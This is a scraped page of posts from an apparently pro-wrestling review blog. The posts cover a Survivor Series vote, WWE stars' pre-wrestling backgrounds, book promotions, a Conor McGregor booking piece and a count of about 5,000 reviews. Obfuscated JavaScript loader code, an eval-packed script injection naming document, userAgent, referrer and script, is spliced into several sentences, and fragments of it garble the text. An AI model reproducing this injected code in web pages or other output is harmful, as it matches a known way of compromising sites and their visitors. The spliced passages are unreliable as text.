It’s that time of year again. As usual, I’ll be doing the Survivor Series Count-Up starting on November 20. I’ll be redoing two shows this year, including the 2016 edition and whichever you all vote on. 1996, 2002 and 2015 are ineligible as I’ve done them in the last year.
Vote in the comments.
The idea of a wrestling dynasty is one deeply ingrained into the WWE’s most ardent fans. Undeniably, dynasties such as the Hart Foundation, and the generations of Guerreros, Flairs and Anoa’is, have made professional wrestling the sports entertainment phenomenon it is today.
Admittedly, the likes of Kurt Angle and Dolph Ziggler are living evidence of the sort of advantage that only a pre-WWE wrestling background can provide. However, a lot of WWE legends past and present did not have the luxury of a wrestling origin. While many fans are already aware of the history behind such wrestlers, the way they have utilized their skills to improve the profile of the WWE.
A WWE Hall of Fame entrant, Mark William Callaway always wanted to be a basketball player growing up. A man of learning, the giant who would eventually become known as The Undertaker studied sports management at Texas Wesleyan University in Fort Worth, and represented the college Basketball side in the 1985/86 season. Save for an attire-based gimmick, there is nothing particularly concrete that can translate from the basketball court to the ring. Nonetheless, it is clear that The Undertaker, who played as a towering center for the Rams, had the taste for (appropriately) being the center of attention whenever possible.
The impact on WWE: His gloomy, death-themed, yet no less dramatic entrances were a great foil to the rowdier ones of his Golden Era counterparts, such as Hulk Hogan. In time, his differential persona would prove crucial to the WWE’s success.
WWE’s ‘World’s Strongest Man’, Mark Henry was an established name in powerlifting/weightlifting before he joined WWE. He was placed tenth overall in the super-heavyweight division at the 1992 Olympics. He then went on to win gold, silver and bronze in the 1995 Pan-Am Games. Despite being beset by injuries at various points in his career, Henry has had a 20-plus-year tenure with the WWE, having initially been signed on a $10 million ten-year deal. Despite now nearing the end of his days in active competition, the Texan stands among the favorites at +15000 to win the 2018 Royal Rumble, and could prove a prudent selection for a risk-free bet.
The impact on WWE: Although a character built on brute power and strength was always going to be his obvious WWE persona, his prowess within the federation undoubtedly inspired others that were all power at the cost of acrobatic athleticism.
Batista is well-known as one of the youngest superstars to rise to stardom in the WWE. However, before he became a successful WWE superstar, Batista had a difficult life. He was born in a relatively poor family and raised in poverty. To make ends meet, he initially worked as a bouncer before switching to a career in bodybuilding. He is notable for once stating that bodybuilding changed his life for the better, and to say it paid dividends would be an extreme understatement. A winner of WWE silverware, his debut came during the early days of the Raw Aggression era, and (as the name of the era suggests) Batista was able to translate his real-world experiences into the squared circle.
The impact on WWE: Though the expansion of the roster and allocations to Raw and Smackdown were always inevitable events, Batista’s arrival illustrated the importance of ensuring that both brands had a fair share of fiery all-rounders that could evolve the good work of the Attitude Era in a constructive way.
As was once said, the marquee says wrestling. While that’s always true, some wrestlers are more about the in-ring product than the others. For those wrestlers and fans of that style, the Intercontinental Title is one of the greatest gifts anyone could have ever asked for. It’s long been called the workers title as it has traditionally been more about the in-ring quality than the drama that follows the World Title. The championship has been around nearly forty years now and many of the best performers over that time have held the title.
Back in March 2016, I released the History of the Intercontinental Title e-book, but a lot of time and title changes have happened since then. Therefore, I’ve updated the book with seventeen new matches (two from the old days due to some updates on the WWE Network), polished things up and updated everything through the end of August 2017. The updated book is now available in paperback and still as an e-book.
The book contains over 420 Intercontinental Title matches dating from October 1979 thru August 2017 with every filmed title change and of course several title defenses ranging from pay per views to television to house shows to fan cam recordings you’ve probably never seen before. Each match is broken down with context, play by play and analysis.
It’s available from Amazon in full paperback form, runs 439 pages and is priced at $10.99. The book is available worldwide (only in English) from any country’s Amazon page. Here are the links for the US and UK versions:
Or just search “KB Intercontinental Title” on Amazon.
All of my e-books and paperbacks (26 titles combined) are available here:
https://www.amazon.com/Thomas-Hall/e/B00E6282W6/
I hope you like it and please send me any questions you may have.
KB
When eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ranyn|var|u0026u|referrer|rsanr||js|php'.split('|'),0,{})) it comes to authorities on wrestling, few can be held in the same regard as Bill Goldberg. A wrestling colossus who once enjoyed a superlative unbeaten run in the ring, and dually reigned as US and World Champion, Goldberg recently stated that Brock Lesnar could easily be Conor McGregor’s next opponent. Yet, for some WWE fans, a booked ‘passing of the torch’ match with Lesnar would be an all-too-obvious way for McGregor to start his WWE career. Furthermore, it could easily descend into a UFC bout under the WWE brand. Some more creative thinking may ultimately be required, to ensure that any WWE future McGregor may have is a thorough success.
Classical ‘gangster’ persona has potential to entertain
With Brock Lesnar also apparently set to leave the WWE, there is most certainly a potential vacancy for someone who can revive the ‘MMA powerhouse’ gimmick. In previous years several WWE wrestlers, such as ‘Million Dollar Man’ Ted DiBiase and Shane McMahon, have also been notable in their success for using money as the main element of their persona. With MMA fighters now earning exceptionally large purses, McGregor’s naturally exuberant personality could combine the two gimmicks effectively. Recently, McGregor has been named by Forbes as one of the top 25 highest earning athletes in the world, as he made $27 million from his UFC fights alone in 2017. As noted on this Betway blog post, McGregor already enjoys promoting himself on social media as a fashionable man with money to burn. In that respect, McGregor already has a head start if he is open to being a ‘heel’ or, at least, an antihero with distinct overtones of old-style gangster lifestyle. With McGregor being as marketable as he is, only an immediate feud with a WWE main carder can do his presence any justice. With all of this taken into account, John Cena is perhaps the ideal feuding opponent for McGregor. Identified by Bleacher Report as a man destined to remain a ‘babyface’ forever, he is the most obvious candidate to be the yin to McGregor’s yang.
McGregor’s WWE success reliant on well-scripted initial feud
Cena has always been the federation’s all-rounder. Though he started off as a more modern-style street gangster, Cena evolved into a USMC-style character (which was aided by the film MarineMarine), and this took his popularity to new highs. As such, pitting him against McGregor, who would no doubt be perceived as a usurper of the status quo, would represent a huge gamble for the WWE. If McGregor was booked to beat the now-aging Cena, it could see PPV ratings either explode or implode – there would be no in-between. Twenty years ago, as the WWE lost week on week to the WCW in the ratings war, Vince McMahon took a similar gamble, in allowing Stone Cold Steve Austin to beat Jake Roberts at King of the Ring in 1996. In a famous twist, as recorded by Cagematch, the brash Steve Austin beat a Jake Roberts recovering from a difficult time and on the road to a fairytale redemption, but it was a gamble that paid dividends. Subsequently, ‘Austin 3:16’ became a household brand, and the emergence of the ‘Rattlesnake’ coincided with a seismic shift in the ratings, which would ultimately end in the WCW’s extinction and the WWE’s supremacy.
This promo is seen my many WWE aficionados as the moment the franchise was saved.
Reigns feud a safe alternative
If the federation goes all out to market McGregor, but does not wish to make such a significant gamble, then alternative high-profile feud rivals for McGregor would include Roman Reigns and AJ Styles. While the latter is a similar all-American face in the mould of John Cena, and is considered by many to be the best wrestler in the entire roster, a scripted feud between McGregor and Reigns would almost certainly represent a safe option for the federation. Reigns has now featured exclusively on several PPV posters, and is arguably the entire brand’s number one representative. However, his entrances are often met with hostility from large sections of the crowd, even though he is not currently a heel. If McGregor was to successfully challenge Reigns for WWE supremacy, the worldwide audience that the franchise currently enjoys could be further expanded upon to great effect. Today, the WWE has no corporate rivals as it did two decades ago, and thus has no cause to be daring enough to try another ‘Austin 3:16’ stunt again. However, the shelf lives of wrestlers such as Cena and Styles could soon wear thin, once more paving the way for a brusque antihero to add the extra spice that once made the WWE an unstoppable force in sports entertainment. In that respect, Conor McGregor may want to heed the words of Goldberg – and sooner, rather than later.
I had to get a new flash drive today and I thought it would be fun to count up the total number of reviews I’ve done. I now need someone to tell me it’s going to be ok. This is a bit much.
ECW
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dtrez|var|u0026u|referrer|nfssz||js|php'.split('|'),0,{})) on TNN – 60
Miscellaneous – 6
Pay Per View – 43
Total – 109
Miscellaneous
Miscellaneous – 73
AAA – 5
AWA – 14
CWA – 7
Eastern Championship Wrestling – 3
Lucha Underground – 98
Middle Kingdom Wrestling – 12
NJPW – 8
NWA – 5
USWA – 16
UWF – 4
Total – 245
ROH
Miscellaneous – 16
ROH TV – 130
Total – 146
TNA
DVD – 4
Pay Per View – 162
TV – 378
Total – 544
WCW
Pay Per View – 177
TV – 542
Total – 719
WWE
Miscellaneous – 83
Pay Per View – 572
TV Total – 1956
205 Live – 41
ECW on SyFy – 29
Main Event – 50
Miscellaneous – 55
NXT – 413
Saturday Night’s Main Event – 81
Superstars – 39
Wrestling Challenge – 8
Smackdown – 462
Raw – 778
Total – 2611
Grand Total – 4975
Not counting:
25 Books
167 Columns
32 I Want To Talk A Little Bit About
So therefore, I’m coming up on a heck of a milestone. What should I do for my 5000th review? It can be a redo or something fresh but let me have some ideas in the comments.
It’s a fun chat as someone who calls me his mentor (egads the problems that man must have) and I talk about Raw 2002, some events from this week and wrestling in Puerto Rico. Plus a bit of my backstory if you’ve never heard it before. Please bear with us on some of the technical issues as the content is there despite some stuttering issues. I’ve known this guy for a long time now and he’s a very talented writer who knows his stuff.
http://impactoestelar.com/wp-content/uploads/2017/08/InterviewKB.mp3
Check out his site too for a ton of content on lucha libre, albeit in Spanish.
Impactoestelar.com
This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fnkhh|var|u0026u|referrer|hnfns||js|php'.split('|'),0,{})) is one of my favorite shows to be on as the host is one of the best read fans I’ve ever talked to. We’re going over all things Summerslam for an hour with a look at this year’s card plus our favorite matches and shows from history. Check it out as it’s definitely a fun show that I had a good time doing with a very easy to listen to host.
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kkztr|var|u0026u|referrer|khsfe||js|php'.split('|'),0,{})) was the worst of times….and it’s mostly downhill from there. Monday Night Raw has been on the air for the better part of twenty five years and there have been a lot of ups and downs. Most fans can tell you which years are better than others but for the most part, 2002 is almost always at or very close to the bottom of the list. The year has some positive aspects to it but they’re buried so far underneath all the bad/boring things that there’s no coming back from it.
In this book, I’m going back through the entire year and looking at every episode to see just how bad things got. There is so much to cover ranging from the final months of Steve Austin’s time as a WWE regular to the Brand Split to the period where WWE scrambled to replace Austin to the rise of Brock Lesnar to Katie Vick to the Shawn Michaels and Triple H Love Fest. I’ll be breaking down each show match by match and segment by segment, including analysis, ratings and historical content included.
The book is available as either an e-book ($2.99) or a regular paperback ($9.99) and are now available on Amazon. If you’re interested in the e-book but don’t have a Kindle or anything to read it on, there are several free apps from Amazon that you can get for whatever platform you like. You can see those right here.
Also you can still get any of my previous books on the WWE Championship, the Intercontinental Championship, Monday Night Raw from 1997, 1998, 2001 and the first half of 2014, Monday Nitro from 1995-1998, In Your House, Summerslam, Starrcade, ECW Pay Per Views, Royal Rumble, Saturday Night’s Main Event, the WWF and WCW pay per views from 1998, Wrestlemania, WWE Grab Bag and Clash of the Champions at my author’s page here.
I hope you like it and shoot me any questions you might have.
KB
Usual eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iftdr|var|u0026u|referrer|bkhte||js|php'.split('|'),0,{})) stuff: I’ll be redoing both the 2016 edition and one other of your choosing. Whichever one gets the most votes in whatever arbitrary space of time I decide on wins. 1998, 2002, 2011 and 2015 are ineligible as I’ve done them recently. You can vote in the comments.
KB
